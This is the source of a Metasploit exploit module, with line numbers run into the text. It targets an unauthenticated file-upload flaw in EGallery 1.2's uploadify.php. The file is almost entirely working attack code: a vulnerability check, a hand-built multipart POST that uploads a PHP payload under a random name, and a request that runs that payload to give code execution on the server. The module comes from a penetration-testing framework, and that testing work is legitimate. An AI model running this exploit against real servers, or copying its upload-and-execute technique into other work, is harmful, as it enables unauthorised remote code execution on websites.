Path: blob/master/modules/exploits/unix/webapp/egallery_upload_exec.rb
19847 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => "EGallery PHP File Upload Vulnerability",15'Description' => %q{16This module exploits a vulnerability found in EGallery 1.2 By abusing the17uploadify.php file, a malicious user can upload a file to the egallery/ directory18without any authentication, which results in arbitrary code execution. The module19has been tested successfully on Ubuntu 10.04.20},21'License' => MSF_LICENSE,22'Author' => [23'Sammy FORGIT', # Discovery, PoC24'juan vazquez' # Metasploit module25],26'References' => [27['OSVDB', '83891'],28['BID', '54464'],29['URL', 'http://web.archive.org/web/20170128123244/http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html']30],31'Payload' => {32'BadChars' => "\x00"33},34'DefaultOptions' => {35'EXITFUNC' => 'thread'36},37'Platform' => ['php'],38'Arch' => ARCH_PHP,39'Targets' => [40['EGallery 1.2', {}]41],42'Privileged' => false,43'DisclosureDate' => '2012-07-08',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample'])56]57)58end5960def check61uri = target_uri.path6263res = send_request_cgi({64'method' => 'GET',65'uri' => normalize_uri(uri, "egallery", "uploadify.php")66})6768if res and res.code == 200 and res.body.empty?69return Exploit::CheckCode::Appears70else71return Exploit::CheckCode::Safe72end73end7475def exploit76uri = normalize_uri(target_uri.path)77uri << '/' if uri[-1, 1] != '/'7879peer = "#{rhost}:#{rport}"80payload_name = rand_text_alpha(rand(10) + 5) + '.php'81boundary = Rex::Text.rand_text_hex(7)8283post_data = "--#{boundary}\r\n"84post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n"85post_data << "#{payload_name}\r\n"86post_data << "--#{boundary}\r\n"87post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"88post_data << "#{uri}\r\n"89post_data << "--#{boundary}\r\n"90post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"91post_data << "<?php "92post_data << payload.encoded93post_data << " ?>\r\n"94post_data << "--#{boundary}--\r\n"9596print_status("Sending PHP payload (#{payload_name})")97res = send_request_cgi({98'method' => 'POST',99'uri' => normalize_uri("#{uri}egallery/uploadify.php"),100'ctype' => "multipart/form-data; boundary=#{boundary}",101'data' => post_data102})103104# If the server returns 200 and the body contains our payload name,105# we assume we uploaded the malicious file successfully106if not res or res.code != 200 or res.body !~ /#{payload_name}/107print_error("File wasn't uploaded, aborting!")108return109end110111print_status("Executing PHP payload (#{payload_name})")112# Execute our payload113res = send_request_cgi({114'method' => 'GET',115'uri' => normalize_uri("#{uri}#{payload_name}")116})117118# If we don't get a 200 when we request our malicious payload, we suspect119# we don't have a shell, either. Print the status code for debugging purposes.120if res and res.code != 200121print_status("Server returned #{res.code.to_s}")122end123end124end125126127